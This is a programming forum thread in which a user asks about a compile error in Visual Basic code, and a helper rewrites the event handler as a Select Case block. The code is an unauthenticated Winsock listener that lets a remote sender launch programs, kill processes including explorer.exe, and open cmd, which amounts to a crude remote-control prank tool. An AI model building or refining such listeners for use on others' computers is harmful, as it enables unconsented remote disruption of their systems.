[RESOLVED] I get a simple error, but dont know how to fix
This is my code
VB Code:
Option Explicit
Private Sub TerminateProcess(app_exe As String)
Dim Process As Object
For Each Process In GetObject("winmgmts:").ExecQuery("Select Name from Win32_Process Where Name = '" & app_exe & "'")
Process.Terminate
Next
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
If data = "msn" Then
On Error Resume Next
Shell ("C:\Program Files\MSN Messenger\msnmsgr.exe")
Shell ("C:\Program\MSN Messenger\msnmsgr.exe")
End If
If data = "ie" Then
On Error Resume Next
Shell ("C:\Program Files\Internet Explorer\IEXPLORE.EXE")
Shell ("C:\Program\Internet Explorer\IEXPLORE.EXE")
End If
If data = "01" Then
On Error Resume Next
Form2.Show
Form3.Hide
Form4.Hide
End If
If data = "02" Then
On Error Resume Next
Form3.Show
Form2.Hide
Form4.Hide
End If
If data = "clie" Then
On Error Resume Next
TerminateProcess ("iexplorer.exe")
End If
If data = "clmsn" Then
On Error Resume Next
TerminateProcess ("msnmsgr.exe")
End If
If data = "htb" Then
On Error Resume Next
TerminateProcess ("explorer.exe")
End If
If data = "cmd" Then
On Error Resume Next
Shell ("cmd")
End If
End Sub
i get an error saying
"Compile Error: Block If without End If"
Re: I get a simple error, but dont know how to fix
Re: I get a simple error, but dont know how to fix
Check other code, "Compile Error: Block If without End If" is not in there.
You might want to consider using a Select Case structure in your dataArrival event.
And the way things are, you only need the first "On Error Resume Next" statement... the rest are redundant.
Re: I get a simple error, but dont know how to fix
i dont have a clue of "Select Case structure in your dataArrival event" or "On Error Resume Next
my friend done most of the code... :blush:
i could really do with a code thats writen. instead of a word. :sick: :confused:
Re: I get a simple error, but dont know how to fix
What leinad31 is saying is that bit does not look as if the code you posted should give you the Block If without End If error. Is there code you aren't showing us?
Re: I get a simple error, but dont know how to fix
Quote:
Originally Posted by Gunner54
i dont have a clue of "Select Case structure in your dataArrival event" or "On Error Resume Next
my friend done most of the code... :blush:
i could really do with a code thats writen. instead of a word. :sick: :confused:
Consider it as practice... as a professional programmer you can't demand from your systems analyst or boss that they give you code rather than narrative requirements. Programming isn't just about code, its also about analysis, understanding, and research (your only as good as what you know).
VB Code:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data As String
Winsock1.GetData data
On Error Resume Next
Select Case data
Case "msn"
Shell ("C:\Program Files\MSN Messenger\msnmsgr.exe")
Shell ("C:\Program\MSN Messenger\msnmsgr.exe")
Case "ie"
Shell ("C:\Program Files\Internet Explorer\IEXPLORE.EXE")
Shell ("C:\Program\Internet Explorer\IEXPLORE.EXE")
Case "01"
Form2.Show
Form3.Hide
Form4.Hide
Case "02"
Form3.Show
Form2.Hide
Form4.Hide
Case "clie"
TerminateProcess ("iexplorer.exe")
Case "clmsn"
TerminateProcess ("msnmsgr.exe")
Case "htb"
TerminateProcess ("explorer.exe")
Case "cmd"
Shell ("cmd")
End Select
If Err Then Err.Clear 'since you used On Error Resume Next
End Sub
Re: I get a simple error, but dont know how to fix
sry... i already made it. thx thogh ;)
Re: [RESOLVED] I get a simple error, but dont know how to fix
Thanks for letting us know you have your answer but the easy way to do that is by pulling down the Thread Tools menu and clicking the Mark Thread Resolved button.